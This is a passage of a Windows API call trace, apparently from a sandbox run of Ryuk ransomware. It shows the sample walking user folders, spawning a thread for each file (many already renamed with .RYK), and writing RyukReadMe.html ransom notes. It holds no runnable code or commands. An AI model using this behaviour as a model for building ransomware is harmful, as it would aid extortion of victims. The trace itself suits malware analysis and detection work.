	[0249.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c
	[0249.569] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.570] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x4e4c2ab0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="AdobeARM.log.RYK", cAlternateFileName="ADOBEA~1.RYK")) returned 1
	[0249.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c
	[0249.574] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.575] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa777f30, ftCreationTime.dwHighDateTime=0x1d5bb55, ftLastAccessTime.dwLowDateTime=0xe4b2ce30, ftLastAccessTime.dwHighDateTime=0x1d5bf50, ftLastWriteTime.dwLowDateTime=0x4e50ed70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x18b62, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="B9VEQXx.flv.RYK", cAlternateFileName="B9VEQX~1.RYK")) returned 1
	[0249.575] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0249.999] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.004] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f3e4e0, ftCreationTime.dwHighDateTime=0x1d5bc16, ftLastAccessTime.dwLowDateTime=0xe35d9fa0, ftLastAccessTime.dwHighDateTime=0x1d5c44c, ftLastWriteTime.dwLowDateTime=0x4e74a210, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xdfa2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="BDM2QhO.jpg.RYK", cAlternateFileName="BDM2QH~1.RYK")) returned 1
	[0250.004] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0250.009] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.009] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eab61b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0250.009] SetLastError (dwErrCode=0x0) 
	[0250.009] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780
	[0250.010] GetLastError () returned 0xb7
	[0250.010] CloseHandle (hObject=0x780) returned 1
	[0250.010] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eab61b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0250.011] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eab61b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.011] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4122, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0250.011] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0250.013] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.014] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e770370, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4e770370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4e770370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0250.014] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e770370, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4e770370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4e770370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0250.014] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0250.014] SetLastError (dwErrCode=0x0) 
	[0250.014] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780
	[0250.015] GetLastError () returned 0xb7
	[0250.015] CloseHandle (hObject=0x780) returned 1
	[0250.015] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3720540, ftCreationTime.dwHighDateTime=0x1d5c43c, ftLastAccessTime.dwLowDateTime=0xd14eafa0, ftLastAccessTime.dwHighDateTime=0x1d5b85a, ftLastWriteTime.dwLowDateTime=0x4ea1dc30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="D0W  zImaBM4n.mp4.RYK", cAlternateFileName="D0WZIM~1.RYK")) returned 1
	[0250.015] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0250.019] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.019] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe929a0, ftCreationTime.dwHighDateTime=0x1d5b7d0, ftLastAccessTime.dwLowDateTime=0x2026e2c0, ftLastAccessTime.dwHighDateTime=0x1d5b971, ftLastWriteTime.dwLowDateTime=0x4ea43d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3e12, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="dL0Fi75.mp4.RYK", cAlternateFileName="DL0FI7~1.RYK")) returned 1
	[0250.019] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c
	[0250.023] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.023] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53204b20, ftCreationTime.dwHighDateTime=0x1d5b64d, ftLastAccessTime.dwLowDateTime=0xe4904320, ftLastAccessTime.dwHighDateTime=0x1d5bcc0, ftLastWriteTime.dwLowDateTime=0x4ea90050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x163a2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Ejt2Fb952ZvwQ.pps.RYK", cAlternateFileName="EJT2FB~1.RYK")) returned 1
	[0250.023] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728
	[0250.027] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.027] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae35b000, ftCreationTime.dwHighDateTime=0x1d5c1f5, ftLastAccessTime.dwLowDateTime=0x58f61e20, ftLastAccessTime.dwHighDateTime=0x1d5c5fd, ftLastWriteTime.dwLowDateTime=0x4eadc310, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x151c2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="etQIDu5e2VcL.wav.RYK", cAlternateFileName="ETQIDU~1.RYK")) returned 1
	[0250.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828
	[0250.031] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.031] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf843bd30, ftCreationTime.dwHighDateTime=0x1d5c124, ftLastAccessTime.dwLowDateTime=0x70eaf730, ftLastAccessTime.dwHighDateTime=0x1d5bff4, ftLastWriteTime.dwLowDateTime=0x4eb02470, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x7242, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="F8_7cJIxa0Q9_.mp3.RYK", cAlternateFileName="F8_7CJ~1.RYK")) returned 1
	[0250.031] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830
	[0250.034] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.035] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e8a70, ftCreationTime.dwHighDateTime=0x1d5bf10, ftLastAccessTime.dwLowDateTime=0x95ae70e0, ftLastAccessTime.dwHighDateTime=0x1d5c2ee, ftLastWriteTime.dwLowDateTime=0x4ee6e410, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x16022, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="FD_LfsLgv.swf.RYK", cAlternateFileName="FD_LFS~1.RYK")) returned 1
	[0250.035] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838
	[0250.038] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.039] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd33c420, ftCreationTime.dwHighDateTime=0x1d5be84, ftLastAccessTime.dwLowDateTime=0x1e866db0, ftLastAccessTime.dwHighDateTime=0x1d5c4ec, ftLastWriteTime.dwLowDateTime=0x4eeba6d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xfb42, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="fJGiIRlEOvBHcXPfy.pdf", cAlternateFileName="FJGIIR~1.PDF")) returned 1
	[0250.039] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844
	[0250.040] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.041] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0250.041] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834
	[0250.043] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.043] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0250.043] SetLastError (dwErrCode=0x0) 
	[0250.043] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814
	[0250.044] GetLastError () returned 0xb7
	[0250.044] CloseHandle (hObject=0x814) returned 1
	[0250.044] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0250.045] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.045] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0250.045] SetLastError (dwErrCode=0x0) 
	[0250.045] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818
	[0250.045] GetLastError () returned 0xb7
	[0250.045] CloseHandle (hObject=0x818) returned 1
	[0250.046] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0250.046] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.046] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0250.046] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0250.046] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0250.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848
	[0250.372] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.376] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0250.377] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0250.377] SetLastError (dwErrCode=0x0) 
	[0250.377] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0251.394] GetLastError () returned 0x0
	[0251.394] WriteFile (in: hFile=0x7b4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0251.822] CloseHandle (hObject=0x7b4) returned 1
	[0252.367] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4eb285d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
